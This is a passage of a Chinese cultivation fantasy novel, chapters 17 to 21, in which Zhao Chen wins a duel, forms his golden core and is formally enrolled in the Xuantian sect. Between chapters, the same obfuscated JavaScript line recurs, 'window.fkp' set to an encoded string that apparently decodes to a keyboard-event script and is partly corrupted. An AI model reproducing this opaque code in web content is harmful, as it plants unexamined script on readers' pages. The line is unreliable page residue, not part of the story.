九师兄不慌不忙,左手手掐剑诀,一道道肃杀剑气环绕往周身,同时轻轻后退一步,右手摸出一把匕首,快步上前,朝赵尘面门插去。整个过程之中,一道道剑气从匕首上吞吐出来。 赵尘右手夹住剑刃,亦斩出一道道剑气,和其相互抵消。左手化刀,罡劲迸发,和法力混合,一把将九师兄周身剑气劈碎。同时一步跨到九师兄身前。震荡气血,法力充斥右手,运用巧劲,一巴掌拍在匕首上,不但把匕首拍飞,还将其整条右臂的法力暂时震散。 这也是养气境法力虽在周身似云烟流转,却没有凭借,飘渺无依的原因。 再之后,赵尘左脚再进半步,在九师兄不起一丝波澜的平静的眼神中,一把将九师兄借右袖遮掩,悄悄伸出的左手拍了回去。在九师兄略微闪过一丝惊愕的眼神中,其藏在左手中的一小木锥也被赵尘拍飞。 赵尘见此暗乐,紧接着整个右肩撞在九师兄身上,不但将其一身法力暂时震散,还将其撞飞出去。在其被撞飞的一瞬,赵尘又顺手在九师兄身上贴了一张轻身符。不出意外的,众人便看见九师兄轻轻的飞出了擂台。 虽然争取到了一点时间,将九师兄送下擂台。但完成了自己目标的赵尘并没有多高兴,反而反思了起来,只是看了眼紫玉石台上此时的情形,赵尘又将思绪收了回来。 清霓放出的那只火鸟在十二师兄的调控下,和七师兄的飞沙以及李谊放出的火焰组合在一起,甚至得到了十二师兄的阵势加持。 看着那只正朝着自己扑击来的火鸟,见其周身风火相随,挥翅间便是飞沙走石的样子。赵尘一点也没犹豫,又朝着五人丢出一大把符纸,朝着十二师兄窜去。不待众人开口,离十二师兄不过数步距离的赵尘猛然一个横移,出现在清霓身后,抬手朝着清霓的后颈一捏,指尖劲力流淌,将其扔下了擂台。整个过程没有带起一丝风声。 清霓站在擂台上,一边非常有自知之明的配合着大家操纵着法器,一边在一旁观察局势。在长老一声“开始”之后,便早有预料的闭了一下眼睛。随后刚睁开眼睛,,便看见赵尘突然出现在靠近九师兄的地方,一把将九师兄的飞剑捏碎。 随后一挥手臂,便从七师兄的飞沙中钻出,随后衣袖一卷一拍,其身前的符纸和线就消失一空,随后向上一跃,甩出一把符篆,随后夹着火光落在地上,便消失不见。 紧接着突然出现在九师兄身前,一撞一推,就将九师兄推下台。随后转身挥袖,又甩出一大把符篆,便又瞬移般出现在十二师兄不远处,随后又一闪而逝,再后来,便是眼前突然一黑,脚架一轻,自己就出现在了台下。 被扔下擂台的清霓愣了好一会儿,才反应过来发生了什么。顿时觉得牙根痒痒,恨不得扑上去狠狠咬赵尘一口。 赵尘将清霓丢下下去之后,火鸟的威势便猛然降低了一节。正好此时,清素已经将自己的丝线法器从紫玉石台中取出,一根根的朝赵尘激射来。赵尘一下子将近三成的法力喷薄而出,朝火鸟抓去。 火鸟翻滚着将丝线卷在自己身上,在重新成长起来的藤蔓上空滚过,裹挟着无数的飞沙,猛然向许多的藤蔓根基处坠去。整只火鸟轰然炸开覆盖周围十数丈范围。 这就是长老之前所说的以力压人,但消耗也极大。养气境的法力,因为没有根基,飘渺无依,用去便是用去了,不可能自动恢复回来。虽然不像第一次修炼回来那么艰难,但这三成法力,也足足要一个月才能修炼回来。这还只是赵尘,若是别人,要修回这个量的法力,一年半载那是快的,两三年也是寻常。 阵势的关键节点被毁去,十二师兄的气息顿时不稳,少则一盏茶,多则一刻钟,这段时间之内,十二师兄可谓没一点还手之力,便是一十几二十岁的年轻人,拎着一根木棍,都能将其打的抱头鼠窜。 若是赵尘此时在下一记狠手,轻松就能将其全身法力打散,没个一年半载是别想修炼回来。 除此之外,七师兄和清素也不好受,好像挨了一记当头棒喝。飞沙洒落在地,丝线焦黑断裂,便是清霓那颗珠子也黑乎乎的躺在坑底,转眼被埋在紫玉石台之中。 几人的常用法器虽不像九师兄的短剑一样直接被摧毁,但也要取回来修补一番,再重新温养祭炼几个月才能继续使用。反正现在是用不了了。 看着和九师兄一样心神晃动,步履蹒跚的七师兄和清素,又看了眼好整以暇的李谊,赵尘刚要有动作,便听见一声“好了”随后全身法力都瞬间沉积了下去,同时心灵蒙尘,灵觉不复之前的敏锐,便是破体而出的劲力都变的僵硬死板。 庶务长老看见赵尘以力压人,让小十二一举出局,又让小七和小十一心神晃动,至少为其腾出了几瞬的时间,便知道这场比试已经没有意义了,随即出声制止,伸手一压,一股禁绝万法的龙虎气将整座擂台罩住。随后伸手一抹一挑,将几人的法器从紫玉石台内取出,并将几人挪到了身前。 赵老伸手一抹,便将包括九师兄的短剑在内的四件法器修补好,分别还给几人:“这场比试小十七赢了,接下来小九和小十二,还有小十六就不上场了,小七、小十一还有十四,你们三人便在两两交手,比试一番吧。” 之后赵尘就在台下看着三人之间的比试,只见符纸和法器乱飞,便是法术,多半也有法器与之配套,纯粹的法术反而极少。赵尘见此,想到自己一件法器都没准备,只带了几沓符篆,不禁感叹自己的斗法经验还是少了,这次来的不亏。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十七章 心性圆满 数日之后,赵尘回到灵照山,坐在房中,整理起这次聚会的收获。 先前,在几人依次比试之后,长老也对此一一作出点评,演法结束之后便是交易会,几人互通有无一番之后便各回各家了。 赵尘一边想着聚会上的经历,一边从袖中掏出金贴,输入法力,往桌上一倒。哗啦一声,一堆盒子散落在桌子上,赵尘将之一一放好。 首先是五位师兄师姐的见面礼,之后是最后和众师兄师姐交易中的收获。 第一件是一匹朝阳紫锦,宽八寸,长四尺三寸。是清素采朝阳紫气为线,历时三年方才织成。尊贵阳刚,若非太小了,制成衣物,穿在身上可滋养气血。若裁剪成符纸又着实浪费,让人心疼。被赵尘用五毫星露换了回来。 星露这玩意,说珍贵也珍贵,说不珍贵也不珍贵。 所谓星露,便是由星光凝炼而成。若是没有上乘法门蛮干,用小玉瓶收集星光,每瓶每夜每种星光可收集一道。若不计较星光种类,每只小玉瓶每四百三十亿年可收集一滴星露,重六分八厘,即六百八十毫,可转为星光五升六合,可织一匹长五丈二尺六寸,宽一丈的布。 可若是对星光种类有要求,这大致可分为四亿八千万种的星光,若既没有高深修为和上乘法门,又没有收集星光的宝物,单用小玉瓶一点点收集,想想就让人绝望。 至于赵尘手中星露的来历?其实赵尘只收集了一夜的星光,剩下的都是用磨盘悄悄转化灵气所得。 这一点朝阳紫锦,对别人来说,价值虽高却又无甚用处,可谓鸡肋。不过对赵尘来说,只要有这一点样品,以后这紫锦不比普通的布贵多少。 第二件是一柄斑驳的白玉匕首,极其锋利,是十二师兄从自己山中寻得,估计是以前的弟子留下的,虽然九师兄也喜欢,但看在赵尘是第一次参加聚会,所以被赵尘用一方完整灵玉和几十方三寸见方的小方灵玉换得。 剩下的就比较普通了,七尺宽三丈长的青色云锦和白色云锦各一匹。也是从清素那换来的,赵尘打算用其缝制几件衣服。还有几件低阶下品下乘的小法器,是从李谊处换得。 最后是长老的见面礼,赵尘拿起玉盒。打开一看,里面共有九颗雷珠,每一颗皆枣核大,相当于其全力一击。 除了这些可见光的收获意外,赵尘现在可以用磨盘制造太阴月华菌、紫青神霄果等仙药。 除了这些有形之物,赵尘还收获了许多术法的使用技巧及眼光上的拓展。 总的来说,赵尘这一次的收获还是很大的。 一连花了好几天,把这次收获中,目前能吸收消化的的均消化掉了。在之后,赵尘又恢复了之前平日调息练拳,闲时读经论玄,研究术法,焚香习字,扫地锄园,养花修草的生活。 如此过了约一个月,终于将损耗的法力全部修了回来。 一日,赵尘做完午课,在院中锄地,忽看见篱笆外一株大树上,最后一片枯叶被风吹落,忽然心中一动,悠悠的吐了口气:“功夫到了。” 待锄完地之后,赵尘和钱穆打了声招呼:“钱叔,我要闭门结丹了。” 钱穆闻言,一脸惊喜,发自真心的向赵尘道贺,一番闲话之后,便转身回房中。 赵尘进入房间后,细细检查一番,把门窗关好,盘坐在床上。默默吐纳,调息,观想。体内法力按照其推演出的法门自行运转。 这突破养气,成就金丹,首先要满足三个条件:一者气完神足,二者心性圆满,三者天人相谐。 这气完神足便是要法力充盈,精神旺盛。心性圆满看起来好像很简单,因为只有性灵之光化作满月养气境才能修完,而只有心性圆满,性灵之光才能化作满月。可实际上普通人是很难常定此境的。 对普通人来说,一瞬间的圆满是有可能的,将人数扩大,时间拉长,这就更是一件寻常事了。故而,在极短时间的心性圆满还算容易,便是普通人也有可能。只是普通人往往前一瞬间心性圆满,下一瞬间又迅速心灵蒙尘,最后只能若有所悟而又恍然若失。 但若能长久的心性圆满、灵台彻照,那便可以称为觉者、圣人了。 而突破养气境则要求一段时间内能常定于心性圆满之境,至少在突破过程中能持住。以此来筑就和定住一种至少能活数百上千年的长生者的心灵境界。只有先拥有这般长生之心,才能把持住长生者的力量,才有资格跨入长生路,成为长生者。 因此各大门派之中却也开发出了各种辅助的秘法,如玄天宗这样的门派,其中的秘法不但数量众多,且都是世间顶级。 再加上,实际上,只要心诚、意正,性灵之光便不会轻易摇曳。所以只要一瞬间的心性圆满,运转法门,使性灵之光化作明月,并要保持心诚、意正,使月轮暂不亏昃,再运转秘法,使自己能常驻此境,之后再慢慢地更换“拐杖”,最后将其扔掉。使人能较长时间常定此境。 第三便是天人相谐,也就是趁着冥冥之中的时机,进阶金丹。 这便是对修行者与天地自然之间关系的把握,其中更有种种妙处。其中最浅显的便是降低第二点的难度,帮助修行者能较长时间的维持住心性圆满,不会在突破过程中忽然从心性圆满的境界中退转,使突破失败。 毕竟常定不是恒定,而突破境界之时,人与天地交感,心灵境界中的任何起伏和不圆满等细微瑕疵都会在天地的浩瀚伟力下被放大、撕裂、压碎、扭曲,使性灵境界跌落。 除此之外,这天人相谐还有种种妙处,不可胜数。 这第三点虽说起来玄奥,意义也最为重要,但把握起来却不难。只要调整好状态,最多一年半载,便可以把握到天人相谐的时机。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十八章 护体清光 随着赵尘神识内守,一念不起。杳杳冥冥之间,赵尘的触觉、听觉、嗅觉等感觉缓缓的从自身扩散出去,向远处散开,只觉周围一片空灵清净。不久之后,扩散于极远之处的种种感觉又从远处一点点的消散掉,到最后甚至连自身都消散掉。 不知不觉间,只感觉到一浩瀚无垠的黑水汪洋。在波涛翻滚之间,丝丝水汽蒸腾而起。 就在这恍惚之中,一轮满月于深邃夜空中高悬,灼灼生辉,朗照整片大海,丝丝水汽汇聚成薄雾云朵,环绕在明月周围。在明月的洗涤下,一些水汽重新落回海中,还有丝丝水汽却不知消散去了何方。 赵尘的心灵好像融入了这万古苍穹、浩瀚天幕,看着这月升月落,心中却是一念不起。 便这般不知月升月落了多少次,忽然这轮满月行至一奇妙之处。 这满月是赵尘心中一点灵光所现,心性圆满所化。 这一点圆满性光落到一似在体内,又似在体外之处,与玄关一窍相合,立刻化作一点根性。 这一点根性,是灵根,是金丹,是修行者驻世长生,超凡入圣之根基。 随着这一点根性形成,这大海、月空的内景意像便如朝露般幻灭。同时,赵尘体内的法力也浩浩荡荡的迅速宣泄进那一点灵根中。而这一点根性随着赵尘法力的涌入,也渐渐从虚幻隐约,变的真实牢固。待将赵尘的法力吞噬殆尽后,彻底由虚转实。 赵尘随之将这点灵根降于丹田之中。 之后,丝丝缕缕的法力又从这点根性中流出。于此同时,玄关一窍依旧在周身不可测度处游走,性灵之光依旧化作满月朗照识海。 随着涌出的法力越来越多,越来越快,不到数个呼吸,被吞噬的法力又全部回到赵尘身中。但和之前相比,这些法力从飘渺无依,变的有了根基。 又不知过了多久,那一点根性在丹田中一震,玄关一窍打开,大把大把的灵气被从玄关一窍吸入体内,被那一点根性磨灭吞噬,转化为法力,从金丹中喷吐而出,积蓄在丹田之中。 到此时,赵尘终于踏入金丹境。整个结丹过程,对赵尘来说,像没过去多久,又像过去了无尽岁月,实际上却是两月有余。 随着赵尘缓缓的睁开眼睛,若此时用特殊的灵眼类法术朝赵尘看去,便会发现赵尘此时七窍皆大放光明,可照亮周身三尺之地,便是全身上下,也有三寸天光透体而出。 赵尘只觉的自身的五感此时灵敏到了一种不可思议的地步。 眼前所视,不但暗室亮如白昼,而且近可以看见周身飞舞的无数尘埃,一粒粒好似数丈见方的巨石,远可以透过窗户缝看见极远处山林中的种种景致,并且也鲜亮立体了很多,好像从一副黑白的纸面山水画卷换成了真实山水。 耳中所听,近可以听见周身两粒尘埃碰撞的声音,远可以听见数里外某一片草叶尖微微颤动的声音。且每一种声音都条理清晰,层次分明,毫不混杂。 鼻前所闻,舌尖所尝,可以清晰分清数万种相差仿佛的气味和味道,并可一一对应清楚。 皮肤所触,近可以感觉到每一粒尘埃落在衣服上的震动,远处可以感觉到种种动植物对大地的微微震动。 赵尘只觉自身感知到的种种信息比突破前多了无数倍,却又一点不觉得纷繁杂乱。只是对自身的精神负担有点大,不到一刻钟,赵尘之前便可连熬三天三夜也毫无感觉的精神便觉得有些疲惫了。 金丹境界,五感灵敏到这种程度,不仅仅是因为五感的进化,还有其它原因。虽还没有诞生什么神识神意,但已经可以将心念加持在五感之上,便如经楼中那位师叔那样,赵尘现在也可以将心念借助目光投放到注视的人身上。 稍微体验了一番金丹境的满状态的感知,赵尘便将自身的感知缓缓收回,只保持在了一个只比之前敏锐数倍,但相对普通人来说却已敏锐到不可思议的地步。 随着赵尘将自身的感知收回,赵尘大放光明的七窍也缓缓暗淡下来,最后只保持在特殊灵眼类法术观察下眼睛炯炯有神,好像有光,其它都不可察的地步。 便是周身三寸天光也一点点的收回,只保留在一种沿着皮肤不断流转的状态。 体验完金丹境的感知之后,赵尘从金帖中摸出一把短刃,向手臂轻轻割去,结果刀刃在靠近手臂三寸处便感觉到一股阻力,接着又向下切了一寸有余,便被一层无色、透明的清澈光辉死死挡住,最后赵尘爆发劲力都没能再切入半寸。接着赵尘又伸手握住刀刃,凌空一寸将刀刃搓成圆柱。 随后赵尘又随手搓出一团火焰,向手臂拍去。结果不出意外的在靠近手臂三寸处散去:“这就是护体清光了,果然神异。而且这清光无色透明,凌空三寸,不惧刀兵,水火不侵,绝对可以算上上乘。” 这护体清光便是金丹境便可形成的一种能力,受法力影响,可根据颜色、强度、厚度进行划分。法力越正越纯,这护体清光便越发的无色透明。法力的质越高,护体清光则越坚韧。初入金丹时的法力越醇厚,护体清光的自然厚度越厚。 而法力的种种差别又都是由道基的圆满程度、功法的玄妙程度,养气境的种种积累程度等造成的。所以单看护体清光便可以对一个修士的根基和前途进行大概的估计。 赵尘的护体清光在金丹境来说,已可以称一句最上品。 护体清光的意义,不仅仅是展现根基优劣等等。像这种最上乘的护体清光,还可以开发出种种用处,如不染尘埃,不惧风雨,不畏水火,甚至可以通过扭曲光线来进行隐身…… 但最主要的还是用来护身,用来抵挡刀兵和法术的伤害。 但若是最下品的护体清光,虽也有护体的作用,但实际上,却只能用来挡挡最细小的尘埃等等,便是稍大一点的尘土和风雨都阻挡不了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十九章 长生路始 虽说养气境修士将法力用特殊的方式附着在双手,便可以做到揉金碎铁,若是用这种方式将法力附着其身上也可以抵挡简单的刀劈斧砍。但这种方法,先不说极耗法力,并对法术的防护基本没有,而且,也只能欺负欺负普通人。 一旦被武者之类的近身,一来这种方式对法力的消耗太大,二来是反应不过来,时间也上根本来不及,覆盖一只手要将近一个呼吸的时间,若是覆盖全身,那……赵尘之前便是因此用巧劲将九师兄的法力震散,快速完成了比试。 体悟着护体清光的妙处,赵尘发现三寸厚的清光着实有些不方便,便缓缓的对护体清光进行有选择的压缩。这时,赵尘忽然想到初见明尘师叔祖时,其一尘不染的鞋面和鞋底。心中不由念叨了一句:“原来如此。” 至于没有衣物遮蔽处,赵尘将护体清光压缩到贴近肌肤三毫处。正所谓一寸十分,一分十厘,一厘十毫。虽然厚度变薄了,但防护的力度却没有一点变化。 金丹境相对于养气境最显着的外在提升,除了护体清光之外便是寿元了。 若以平常能活个六七十岁、七八十岁的普通人来说,在养气境时,因为养生的原因,大概可以活个九十出头,而到了金丹境界便可以活到一百五十岁往上。 到此时,因人先天的差异性的缘故,造成的寿元的差异已经不大了。绝大多数成就金丹境界的普通人,境界若不继续提升,在过完一百五十大寿之后,绝大多数都是还有个三五年好活。 体悟完金丹境界的妙处之后,盘坐在床上的赵尘缓缓的吐了口气:“灵根孕育源流出,心性修持大道生。古人诚不欺我啊。” 起身推开窗户,尘看着窗外的月色,感叹道:“长甚之路,至此而使啊!” …… 第二天一早,赵尘做完早课,辞别钱穆,便向云首山赶去。 赵尘见到首座时,其正在庭中烫着壶酒,自饮自酌。见赵尘到来,示意赵尘坐下,微微举了下手中酒杯:“来点?反正你如今也已结成金丹,不怕酒中灵气污染自身元气了。” 赵尘连忙躬身一礼:“长者赐,不敢辞,谢师叔赐酒。” 一番客套之后,首座半靠在石桌旁:“赵小子,你上一次来录名至今才两年半吧。如此说来,想来两年多前,你便已经明心见性,甚至性灵之光已经圆满了。” “二十岁的金丹境,也算是个小天才了。” “师叔谬赞。” “我没有谬赞,你能进阶金丹,想来是能把持住自己内心的。且看你这护体清光,也算是合格,”说话间瞟了一眼赵尘:“不知你可愿听我说几句废话。” 赵尘闻言立刻摆正身心,对首座一拜:“还请师叔教诲。” 首座见状,也放下酒杯,正襟危坐道:“我等求道之人,最后能有所成就者,往往不是什么天才。正相反,所谓的少年天才之中,有六七成,连仙都为成,便沉沦苦海,难得解脱。剩下的人之中,又有一些,要几度轮回,数世苦修,才能有所成就。能一世而有所成就者,寥寥无几。” “多谢师叔教诲。” 首座见之,起身把赵尘扶起:“赵小子,我说这些只是让你有所警惕,仙路艰难,大道难求,勿要自满。”说话间拉着赵尘坐在一旁,一挥衣袖,换上了桌新的茶点。又随手捏起一块点心:“明日我带你去主脉,这具体的流程你可清楚。” “回师叔,我在书中看了个大概,具体的还请师叔指点。” “其实也没有多复杂,明日我带你去主脉。” “首先沐浴更衣,换上门中所赐的衣物,然后拜见掌教,掌教会赐下符诏、法剑。最后带你去主脉的经阁,将你留在那里。” “想来你已经发现了,你之前去的那座经楼之中书籍虽多,但都十分浅显。甚至,整座经楼中的书籍还没有那盏青铜灯值钱。而主脉那座经楼才是玄天宗立宗四十五万年的底蕴所在。” “回头我在将你接回来,把一些剩下的收尾处理完便结束了。具体的,你到时候自然明白。” “多谢首座告知。” 随后赵尘又趁机请教了一些金丹境界的修行关窍。明面上,为弟子答疑是驻守经楼的那位长老的责任。但实际上,问谁都可以。 一天时间便在这一问一答中过去了。 待赵尘将心中积累的疑问全部弄清楚后,首座开口道:“时间也不早了,你去前院随意找间屋子将就一下,明早我带你去主脉。” “多谢师叔,那小子就告退了。”赵尘行了一礼,转身出了庭院,找一间屋子住下。 …… 次日清晨,赵尘前去拜见首座。首座看见赵尘,问道:“可准备好了?”见赵尘点头:“我昨日已经和掌教师兄说过了,既然准备好了,那我们就走吧。” 说着,首座拉着赵尘往上一跃,只见一道青光从山间划过,向玄天山脉的主脉飞去。 赵尘只觉眼前青光一闪,自己便和首座坐在一长不到三丈,宽不过五尺的青色木舟上。木舟周围包裹着一层青蒙蒙的光幕。 算上五年前,明尘带赵尘进山那一次,赵尘也只有两次在天上飞行的经历。看着在脚下飞逝而过的景色,不由生出一种大丈夫当如是的感叹。 “师叔,上一次明尘师叔祖一起也是乘船飞回来的,可我听说神仙之流不皆是驾云的吗?”赵尘看着脚下的景色,忽然问道。 “驾云之法,说简单也简单,说难也难。真人以前,根本没有驾云的资格,不说也罢。” 首座回头看了赵尘一眼,面色怪异道:“不过,你的法力倒是达标了,回头可以找本驾云的法术试试,不过可能性不大。” “这真人境界,驾云之法,表演要远大于实用,每次驾云飞不了二三里地,一天也飞不了三五次,如此算来一天也飞不了十里地。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十章 拜入大教 “那师叔,这真人应该怎么赶路,骑马?”赵尘好奇道。 “你要是有一匹妖兽、蛮兽级的马匹到可以试试!”首座没好气的白了赵尘一眼:“要不然你就是把马累死,也没你自己走的快。” “要是沿江河赶路的话可以坐船,一些顶级的大船一天可以行出三千里之遥,要是不顺着河的话,那就只能用脚走了。” “当然了,要是学过遁光类的法门,也可以用遁光赶路。一个遁光最远的话,短则三五里,长则八九里,最顶级甚至能有十一二里。一瞬间,一道遁光划过,便出现在三五里乃至十一二里,要耗去一位真人半成到一成的法力。” “若用遁光赶路,以一个遁光三五里的下乘法门来算,拼命的话,每个遁光控制在一里出头,十个呼吸驾一次遁光,一天能赶路一千五百里。若是最顶尖的法门,一天能赶路上万里。” “到真君层次,便是没学过也没研究过遁光法门,单凭蛮力也能驾起遁光,只是这样的遁光和真人用下乘法门的遁光差不多。每次遁光要耗去一位真君半分到一份的法力。” “若是学过驾云之法,并且也不赶时间,到可以用驾云之法赶路。至于带人,哪怕天师一次也飞不了几十里地。所以想带人驾云赶路,等成仙吧。” “所以到真君层次,遁光成为真君赶路的主流。拼命的话,一个呼吸一次遁光,一位真君一天至少能赶路一万五千里。一般情况下一位真君每天极限可赶路十几二十万里。” “若是学过驾云法门,一位真君一天能驾云飞数千里到两三万里。所以即便是有驾云之法,单以赶路来论,对真君来说遁光的性价比更高。” “只有到了天师境界,不需要专门的法门也能驾起云来。若是有上乘的驾云法门,驾云赶路要远胜用遁光赶路。所以要分辨一位天师是否有上乘的传承,只要看其赶路方式是驾云还是遁光就可以了。” “所以话又说回来,以我如今真君级的修为,若是我一个人的话,倒是可以驾云。但带上清微你,怕是一天也赶不了千里路。” “原来如此,多谢师叔教导。”赵尘闻言,只觉大开眼界。 “没什么。而且我之前所说的只是单凭自身赶路,没有算上法器、法宝等。所以我之前所说的区别天师的方法,只是一种假设。因为只要能修炼到天师境界,一件赶路的法器还是能攒的出来的。” “便如我这件青木梭舟,是我取一株十万年的长春树制成,这便是我的赶路法器。当然了,和明尘师叔那件楼船相比还是远远不如。” 聊完了驾云,赵尘又将话题转了回来:“师叔,这主脉是什么样子的,到了之后又要有什么要注意的?” 看出赵尘有一点紧张和激动,首座笑着摇了摇头:“之前便和你说过,这玄天山脉有十二条支脉和一条主脉。说是山脉,其实用山系更准确一点。” “其中,九条支脉轮流用来培养弟子,两条支脉主要用来种植、培育和开采各种资源,最后一条支脉用来处理杂事,如:禁闭犯错弟子、关押妖魔等。” “至于主脉,便是用来举行一些仪式,保存典籍,接待外宾等。由掌教等十余位师兄和一些童子驻守。倒是比天辰山脉热闹些。” 正说话间,长老忽然开口道:“到了。” 赵尘透过光幕向下看去,只见下面有一十数里方圆的巨大广场,三尺见方的青玉铺地,青金贴缝。广场两侧修有数十上百间精舍。 广场正前方一巨大的三门牌楼,高六十四丈,宽八十一丈。琉璃造就,宝玉妆成,上挂有一金边蓝底的牌匾,上书着“玄天宗”三个仙篆, 牌楼之后是一和前面材质类似的小广场,牌楼对面,一条蜿蜒向上的山路和小广场相连,白玉铺就,每一阶都长三十三丈,高一尺,宽三尺。 赵尘之前便是和明尘从此处乘船入的山。 “这里是玄天宗的正门,若是从山中离开,随便怎么走都可以,但要从外边进入玄天宗,则必须经过这个正门。” 说话间,首座和赵尘一起落在外面的广场上,将变回不到一寸长的木舟塞回袖尘:“清微,后面的路便要你亲自走上去了,随我来。” 结果还没走几步,赵尘便在牌楼外被一无形立场拦住。 “将身份玉牌给我。” 首座收下赵尘的身份玉牌,从怀中取出一枚金印,对着牌楼一晃,便拉着赵尘穿过牌楼,穿过广场,走上山路。赵尘朝两边看去,只见道路两旁奇花布锦,瑶草喷香,古柏带雨,万节含烟。 便这样行到半路,忽然看见一片宫殿群。 首座将赵尘引入主殿,殿中早有一群童子手捧托盘,侍立在一旁。 首座捻香对着殿中神像一拜,告诉赵尘,这中间的神像和侍立在周围略小一号的九座神像便是玄天宗的开派祖师玄天仙帝,还有祖师收下的九位弟子。 然后让赵尘拜在神像之下,自己侧身站在一旁,对赵尘一条戒律一条戒律的训诫,一番对答之后下,将戒律一条条宣读完, 首座一招手,接过一托盘,将之捧给赵尘:“仙路崎岖,磨难重重,尓今名录大教,授汝玄黑裹银的贴身劲装一件,乌色云锦束发云巾一条,望汝善养护己身。” 赵尘双手将之接过:“遵师叔教诲。” “今授汝遍绣百圣万灵,群仙济世功业图道袍一件,清心伏魔簪一根。愿汝积功累德,济世渡人。” “遵师叔教诲。” “今授汝诸天仙禽,成道飞升羽衣一件,万华宝琉群星冠一顶,望你不忘初心,早成大道。” “谢师叔教诲。” 一切结束之后,首座便让童子领赵尘去沐浴更衣。便是这沐浴所用的水也是事先专门调制出来的,有清净心灵,超拔罪孽,消解因果之效。 半个时辰之后,全身焕然一新的赵尘出现在首座眼前。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十一章 玄天嫡传 只见赵尘头顶宝冠,内穿道袍,外披羽衣,周身笼罩着朦胧星光,好似将一片星空披在身上。星空之中,隐约之间,不时好像有仙圣身影闪过,显其济世渡人之景。并且不时还有飞仙之光在星空之中流转。 首座望着赵尘的样子,带着丝笑意道:“这套衣袍质量确实不错,其中有许多妙用。但除了那件做贴身软甲穿的劲衣之外,实在有些高调,若是实力不够,冒然穿出去的话……” 一边说着,一边领着赵尘从侧殿绕过。又行两三里,眼前豁然开朗,放眼望去,大片的宫殿群错落在群山云海之间。让赵尘再次拔高了对仙家胜境,灵山福地的认识。 灵气如雾,神曦似雨,尽是写实的描写,没有一点夸张。 彩凤麒麟,寿鹿仙狐,灵禽玄鹤,往来不绝。首座从袖中掏出一把仙果,往远处一撒,立刻窜出来一群。 “之前那片是前殿,前殿以那座祖师神殿为核心,一直到这里结束。”首座遥遥指着远处最近的一座宫殿群:“看,那便是掌教所在处,随我来。”说罢,便带着赵尘用青木梭舟向远处飞去。不到数个呼吸,便在主殿外的空地上落下。 赵尘跟着首座进入殿中,环视四周,只见几位长老皆坐于一层青光之后,看起来有一点模糊。 抬眼看去,掌教坐于一丈高的丹陛之上,一道青色光柱自下而上直冲殿顶,将掌教笼罩在青光之中,光柱上方,还不断有雪花大小的金花落下,纷纷洒洒。丹陛前排列着八个巨大香炉,紫色的烟雾在在丹陛前织成一层层紫纱。 换句话说,赵尘只看见一模糊人影坐于这紫烟青霞金花之中,长相衣着一点不知。看的赵尘一愣。 “真泉见过掌教师兄,见过诸位师兄师弟。清微,还不给掌教和诸位长老见礼。” “清微见过掌教与诸位长老,掌教与诸长老万福金安,早证仙道。”赵尘闻言,立刻上前躬身再拜。 “不必多礼,师弟辛苦了,还是到一旁安坐吧。听你这话,好像我有多凶神恶煞似的,平白让师侄误会。” 周围一阵轻笑。 真泉在一旁青光后坐下:“师兄,我不过是让清微给各位师兄弟见礼罢了,哪有你说的那样。” 听着周围的笑声,赵尘一下放松了下来。 “咳……不要闹了。清微,你几岁上山,到如今几年了?”随着掌教的开口,周围顿时安静了下来。 “回掌教,弟子十五岁入山,至今已有五年。” “如此说来,二十岁的金丹境,倒也可以说是天才了,不过切不可骄傲。” “首座之前已经告诫过弟子,弟子定不忘掌教和首座的教诲。” “那便正式开始。” 随着掌教的一句话,赵尘只觉的气氛周围忽然变的肃穆。随后便听见首座声音传来:“今我玄天山脉,天辰一脉,有弟子清微,品性卓越,心慕大教,与道有缘,欲拜入玄天之下,望掌教明鉴。” “可……” 首座的声音落下,过了一个呼吸,掌教的声音才传来。 “谢掌教。” “谢掌教。” 一封表文从紫烟青霞金花之中被抛出,悬在半空之中,一点点化作青烟,消散在虚空之中。 便听见掌教威严的声音从上方传来:“今有玄天嫡传,第七百六十四辈,第七脉,弟子清微,结成金丹,名录玄天。宗中赠予清净拂尘一根,五彩斩魔剑一口,玄天仙诏三份为贺,望其不畏艰险,早成仙道。” “弟子定不忘宗门恩典,定不畏磨难,不惧艰险,成仙了道,以报恩情。”赵尘立刻上前躬身再拜,将拂尘、宝剑、诏书还有之前交给首座的身份玉牌一一接过。 一番流程之后,首座和赵尘一起离开大殿,不待赵尘询问,便为之解说起来:“首先是身份玉牌,如今你出入宗门便不会被牌楼拦住,还差最后一道步序便完整了,等回去再弄。” 